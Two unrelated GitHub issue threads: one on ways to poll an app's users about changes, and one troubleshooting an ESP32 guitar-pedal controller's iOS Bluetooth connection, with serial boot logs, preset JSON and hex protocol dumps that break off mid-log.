Polling users

As @domdomegg suggests at #442 , it might be a good idea to poll users on big changes (especially UI/stylistic changes) that we plan to make. Checklist for this issue:

[x] Decide if a polling option is worth the extra work (I vote yes)
[ ] Decide how to implement - AFAIK Google Groups forums does not have a poll option. I wonder if it might be worth switching to a phpbb-powered forum (which would be more user-friendly in addition to allowing polls), but then there is hosting to consider. @neslihanturan , as our moderator, what are your thoughts on moderating a phpbb-style forum instead of a google groups forum?
[ ] Decide how to inform users - a one-time in-app alert?

In regards to implementation, perhaps it could be done on Github as a thumbs up / thumbs down or using Wikipedia Commons talk pages as other votes are done there.

+1 for polls
0 I don't think we are enough people to make a bulletin board look active.
+1 for opening an issue for a "What's new, what has changed" sort of dialog window

Again +1 for polls. I agree with @domdomegg's suggestion of using github itself for polling purpose.
If from one time alerts we are planning to send gcm pushes then i would like to give a -1 vote to it. More often than not users are irritated with any notification that they explicitly opted for.

Okay, so step 1 is done. :)
The problem with using GitHub for polling, IMO, is that the vast majority of our users are non-techies and thus probably do not have GitHub accounts. Possibly a larger % of them would read Commons talk pages, so I would be more inclined towards that compared to GitHub. Is an embedded option within the app feasible? I've never tried, but I assume we would need a server to host the polls and the implementation would take quite a lot of work.

@misaochan Definitely a nice idea to do it within the app. Have never seen that being used anywhere before. It would not be to difficult to set up a small web service for that. Maybe someone at one of the hackathons can work on that. Otherwise I can tackle that after the web stuff fro image requests and campaigns is done.

How about just creating a straw poll with some online service such as strawpoll.com and announcing it on Twitter?
We would first need a Twitter account (@misaochan would you find creating one?), that can be linked to from the About dialog.

I wonder whether this is still an issue? I thought the 'up-voting' in GitHub was a really good idea, and it also made me think of the 'Discussions' functionality in GitHub; then, misaochan pointed out that many / most of our user-base probably have no idea what GitHub is, never mind have an account.
Chris.

most of our user-base probably have no idea what GitHub is

Any volunteer to post relevant +1 comments when feedback is received on our feedback wiki page? 🙂 Not a perfect solution but better than nothing.


iOS connection

Hi,
I finished the project and it’s simply amazing, thanks for the great job!
I have a problem uploading presets with iOS because it doesn’t connect: it finds the device but it can’t connect, with Android works fine (I’m using the right Bluetooth settings).
Could you help me?
It would be great to add a couple more switches for looper settings and maybe a tap tempo functions… do you think it would be possible?

Regarding the iOS connection, let me give you some points to check, maybe one of them will sort it out:

If you are building from the main branch, BLE is the standard mode of connecting, which is required for iOS
Make sure to put your pedal into AMP mode. This can be done by pressing and holding buttons "Preset 1" and "Preset 2" until it restarts. You can verify you are in the right mode if you see a preset in the display and you can browse through them with the bank/preset buttons without being connected to the Spark.
Turn off the Spark 40 to avoid the app connecting to it or interfering
In the Spark app, go to the menu (burger menu on the lower right), then swipe the upper image to the left until you see the "Add device" button. Press this button
The app should now connect to the Ignitron, you can see that if the app says connected and the display shows a bluetooth icon.
If that worked, you can try sending a preset to the Ignitron by selecting a stored preset or a preset in ToneCloud. The display should show the selected preset name.

Please update here in case this all does not work.
You can also try enabling debug log (by uncommenting the commented line in "Common.h") and posting the output here.

Regarding the additional looper features, I am trying to keep the complexity low, I already feel that the buttons are a bit overloaded. Also, I need to find time to implement this as this is quite time consuming.
Anyway, thanks for the good ideas, I will keep them in mind when I extend functionality.

Hi Stan,
when I try to connect the bluetooth logo turns on, I got a Spark BLE connection active in my bluetooth manager on IOS but the Spark app always says "connection failed" and the upload doesnt work.
No new amp is added in the app.
I dunno what happen...

Can you send the output of the Serial monitor?
To get more detailed output, you can remove the comment in the file Common.h to enable DEBUG logging and rebuild.
Please try to send both versions, with and without DEBUG.

Hi Stan,
here the serial monitor without debug
!!! Restarting !!!
ets Jul 29 2019 12:21:46
rst:0xc (SW_CPU_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:1184
load:0x40078000,len:13104
load:0x40080400,len:3036
entry 0x400805e4
Initializing
Initial button setup
Operation mode: 2
======= Entering AMP mode =======
Starting NimBLE Server
Advertising Started
Initialization done.
Multi-connect support: start advertising
Address: 62:3b:e9:7b:e2:8d Subscribed to notfications for 0xffc2
Address: 62:3b:e9:7b:e2:8d Unsubscribed to 0xffc2
Client disconnected
Start advertising
Multi-connect support: start advertising
lld_pdu_get_tx_flush_nb HCI packet count mismatch (0, 1)
Client disconnected
Start advertising
Multi-connect support: start advertising
Address: 62:3b:e9:7b:e2:8d Subscribed to notfications for 0xffc2
Address: 62:3b:e9:7b:e2:8d Unsubscribed to 0xffc2
Client disconnected
Start advertising
Multi-connect support: start advertising
lld_pdu_get_tx_flush_nb HCI packet count mismatch (0, 1)
Client disconnected
Start advertising
Multi-connect support: start advertising
Address: 62:3b:e9:7b:e2:8d Subscribed to notfications for 0xffc2
Address: 62:3b:e9:7b:e2:8d Unsubscribed to 0xffc2
Client disconnected
Start advertising
The bluetooth logo turns on, in the phone device manager i can see a connection to Spark BLE but then gets disconnected.

Thanks, can you try to do the same with DEBUG on in Common.h?

That's the log with debug
Button long pressed: 26
!!! Restarting !!!
ets Jul 29 2019 12:21:46
rst:0xc (SW_CPU_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:1
load:0x3fff0030,len:1184
load:0x40078000,len:13220
ho 0 tail 12 room 4
load:0x40080400,len:3028
entry 0x400805e4
Initializing
Initial button setup
Operation mode: 2
======= Entering AMP mode =======
Trying to read file list
Starting NimBLE Server
Advertising Started
JSON:
{"PresetNumber": 127, "UUID": "D4351149-185B-4959-B831-B778C62B35BA",
"Name": "Sultans Of Swing / Knopfler", "Version": "0.7", "Description": "1-Clean", "Icon": "icon.png", "BPM": 120.0000,
"Pedals": [
{"Name": "bias.noisegate", "IsOn": true, "Parameters":[0.1201, 0.3314, 1.0000]},
{"Name": "Compressor", "IsOn": false, "Parameters":[0.3335, 0.9991]},
{"Name": "Booster", "IsOn": true, "Parameters":[0.3445]},
{"Name": "OverDrivenLuxVerb", "IsOn": true, "Parameters":[0.2969, 0.2304, 0.2840, 0.3829, 0.8264]},
{"Name": "ChorusAnalog", "IsOn": false, "Parameters":[0.0939, 0.2797, 0.7458, 0.5678]},
{"Name": "DelayRe201", "IsOn": false, "Parameters":[0.1913, 0.5975, 0.7797, 0.0000, 1.0000]},
{"Name": "bias.reverb", "IsOn": false, "Parameters":[0.4810, 0.2030, 0.3152, 0.3607, 0.6429, 0.3393, 0.4000, 0.0000]}],
"Filler": "56"
}
JSON:
{"PresetNumber": 127, "UUID": "D4351149-185B-4959-B831-B778C62B35BA",
"Name": "Sultans Of Swing / Knopfler", "Version": "0.7", "Description": "1-Clean", "Icon": "icon.png", "BPM": 120.0000,
"Pedals": [
{"Name": "bias.noisegate", "IsOn": true, "Parameters":[0.1201, 0.3314, 1.0000]},
{"Name": "Compressor", "IsOn": false, "Parameters":[0.3335, 0.9991]},
{"Name": "Booster", "IsOn": true, "Parameters":[0.3445]},
{"Name": "OverDrivenLuxVerb", "IsOn": true, "Parameters":[0.2969, 0.2304, 0.2840, 0.3829, 0.8264]},
{"Name": "ChorusAnalog", "IsOn": false, "Parameters":[0.0939, 0.2797, 0.7458, 0.5678]},
{"Name": "DelayRe201", "IsOn": false, "Parameters":[0.1913, 0.5975, 0.7797, 0.0000, 1.0000]},
{"Name": "bias.reverb", "IsOn": false, "Parameters":[0.4810, 0.2030, 0.3152, 0.3607, 0.6429, 0.3393, 0.4000, 0.0000]}],
"Filler": "56"
}
Initialization done.
Button pressed: 25
JSON:
{"PresetNumber": 127, "UUID": "D4351149-185B-4959-B831-B778C62B35BA",
"Name": "Sultans Of Swing / Knopfler", "Version": "0.7", "Description": "1-Clean", "Icon": "icon.png", "BPM": 120.0000,
"Pedals": [
{"Name": "bias.noisegate", "IsOn": true, "Parameters":[0.1201, 0.3314, 1.0000]},
{"Name": "Compressor", "IsOn": false, "Parameters":[0.3335, 0.9991]},
{"Name": "Booster", "IsOn": true, "Parameters":[0.3445]},
{"Name": "OverDrivenLuxVerb", "IsOn": true, "Parameters":[0.2969, 0.2304, 0.2840, 0.3829, 0.8264]},
{"Name": "ChorusAnalog", "IsOn": false, "Parameters":[0.0939, 0.2797, 0.7458, 0.5678]},
{"Name": "DelayRe201", "IsOn": false, "Parameters":[0.1913, 0.5975, 0.7797, 0.0000, 1.0000]},
{"Name": "bias.reverb", "IsOn": false, "Parameters":[0.4810, 0.2030, 0.3152, 0.3607, 0.6429, 0.3393, 0.4000, 0.0000]}],
"Filler": "56"
}
Button pressed: 26
JSON:
{"PresetNumber": 127, "UUID": "A96E8DD2-4C7A-4BC8-8195-1FEECA4D34E6",
"Name": "Hendrix ", "Version": "0.7", "Description": "Purple Haze", "Icon": "icon.png", "BPM": 120.0000,
"Pedals": [
{"Name": "bias.noisegate", "IsOn": true, "Parameters":[0.8193, 1.0000]},
{"Name": "LA2AComp", "IsOn": false, "Parameters":[0.0000, 0.7126, 0.7248]},
{"Name": "Fuzz", "IsOn": true, "Parameters":[0.6185, 0.6579]},
{"Name": "OrangeAD30", "IsOn": true, "Parameters":[0.6000, 0.7000, 0.5318, 0.9311, 0.7549]},
{"Name": "ChorusAnalog", "IsOn": true, "Parameters":[0.1696, 0.2000, 0.7000, 0.8000]},
{"Name": "DelayMono", "IsOn": false, "Parameters":[0.3818, 0.3983, 0.7363, 0.6000, 0.0000]},
{"Name": "bias.reverb", "IsOn": true, "Parameters":[0.3357, 0.6438, 0.5208, 0.2813, 0.4695, 0.4555, 0.6000]}],
"Filler": "66"
}
Multi-connect support: start advertising
Address: 6f:21:50:27:fb:4f Subscribed to notfications for 0xffc2
0xffc1: onWrite()
Received data:
01FE000053FE17000000000000000000F00135000223F7
Reading request from Amp
Found request for serial number
Sending data:
01FE000041FF2A000000000000000000F001353F0323020C2C53393939430039393942393939000177F7
0xffc1: onWrite()
Received data:
01FE000053FE17000000000000000000F00136000272F7
Reading request from Amp
0xffc1: onWrite()
Received data:
01FE000053FE17000000000000000000F00137000271F7
Reading request from Amp
0xffc1: onWrite()
Received data:
01FE000053FE17000000000000000000F00138000266F7
Reading request from Amp
0xffc1: onWrite()
Received data:
01FE000053FE2F000000000000000000F001397D0204021232537061726B004D696E692E506F007374436F6D7000F7
Reading request from Amp
0xffc1: onWrite()
Received data:
01FE000053FE17000000000000000000F0013A00022FF7
Reading request from Amp
Found request for firmware version
Sending data:
01FE000041FF1D000000000000000000F0013A6D032F014E01060520F7
0xffc1: onWrite()
Received data:
01FE000053FE1D000000000000000000F0013B15022A011400010203F7
Reading request from Amp
Found request for hw checksum
Sending data:
01FE000041FF1E000000000000000000F0013B77032A0D14504C705A58F7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0013C00020100000000000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0013C630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0013C780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0013C000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0013C350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0013C770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0013C320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0013C2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0013C3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0013C3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0013C430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0013C4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0013C4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0013C020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0013C500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0013C610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0013D00020100000000000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0013D630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0013D780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0013D000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0013D350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0013D770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0013D320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0013D2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0013D3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0013D3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0013D430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0013D4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0013D4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0013D020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0013D500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0013D610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0013E00020100000000000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0013E630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0013E780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0013E000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0013E350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0013E770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0013E320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0013E2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0013E3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0013E3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0013E430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0013E4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0013E4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0013E020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0013E500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0013E610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0013F00020100000000000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F0013F630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F0013F780301000F011939352D3100464545434134441033344536284865406E647269782023F7F0013F000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F0013F350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F0013F770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F0013F320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F0013F2F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F0013F3D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F0013F3A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F0013F430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F0013F4A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F0013F4A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F0013F020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F0013F500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F0013F610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010100020100000000000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00101630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00101780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00101000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00101350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00101770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00101320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001012F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001013D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001013A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00101430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001014A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001014A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00101020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00101500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00101610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010201020100000100000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00102630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00102780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00102000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00102350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00102770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00102320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001022F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001023D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001023A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00102430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001024A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001024A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00102020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00102500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00102610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010301020100000100000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00103630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00103780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00103000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00103350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00103770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00103320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001032F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001033D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001033A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00103430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001034A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001034A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00103020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00103500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00103610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010401020100000100000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00104630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00104780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00104000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00104350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00104770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00104320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001042F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001043D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001043A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00104430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001044A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001044A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00104020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00104500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00104610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010501020100000100000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00105630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00105780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00105000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00105350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00105770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00105320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001052F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001053D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001053A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00105430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001054A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001054A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00105020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00105500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00105610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010601020100000100000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00106630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00106780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00106000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00106350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00106770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00106320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001062F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001063D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001063A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00106430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001064A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001064A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00106020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00106500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00106610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010702020100000200000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00107630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00107780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00107000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00107350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00107770301600F04193F513D251601114A3F0000000128
Sending data:
01FE000041FF6A0000000000000000004C413241436F6C6D70421300114AF7F00107320301000F0519000000004601114A3F366C742602114A3F390C7E612446757A7A4312F7F001072F0301300F061900114A3F301E560401114A3F08286C222A4F7261006E67654144
Sending data:
01FE000041FF6A0000000000000000003330F7F001073D0301580F071943150011594A3F19191A0111414A3F3333330211414A3F08240B0311F7F001073A0301080F08194A3F6E5C0D1204114A3F414102202C43686F72750073416E616C6F67F7F00107430301580F09
Sending data:
01FE000041FF6A0000000000000000001943140011594A3E2D2B1F0111594A3E4C4C4D0211414A3F3333330311F7F001074A0301480F0A194A3F4C4C034D2944656C6179304D6F6E6F4215000B114A3E437B4A01F7F001074A0301580F0B19114A3E4B1B6D7A02114A3F
Sending data:
01FE000041FF6A0000000000000000003C187E2803114A3F191B191A04114A0000F7F00107020301200F0C1900002B62006961732E72657658657262431700115D4A3E2B605F0111F7F00107500301480F0D194A3F24500C1402114A3F05532C2603114A3E10062D0E04
Sending data:
01FE000041FF33000000000000000000114A3E7062F7F00107610301600F0E104E05114A623E69374C06114A1C3F19191A2AF7
0xffc1: onWrite()
Received data:
01FE000053FE3C000000000000000000F0010802020100000200000000000000000000000000000000000000000000000000000000000000000000F7
Reading request from Amp
Found request for current preset
Sending data:
01FE000041FF6A000000000000000000F00108630301200F001901005924004139364538444400322D344337412D00344243382D3831F7F00108780301000F011939352D3100464545434134441033344536284865406E647269782023F7F00108000301400F0219302E
Sending data:
01FE000041FF6A000000000000000000372B00507572706C65201048617A65286963406F6E2E706E674AF7F00108350301100F03194270000003172E626961732E006E6F69736567616C7465431200114AF7F00108770301600F04193F513D251601114A3F0000000128
Sending data:
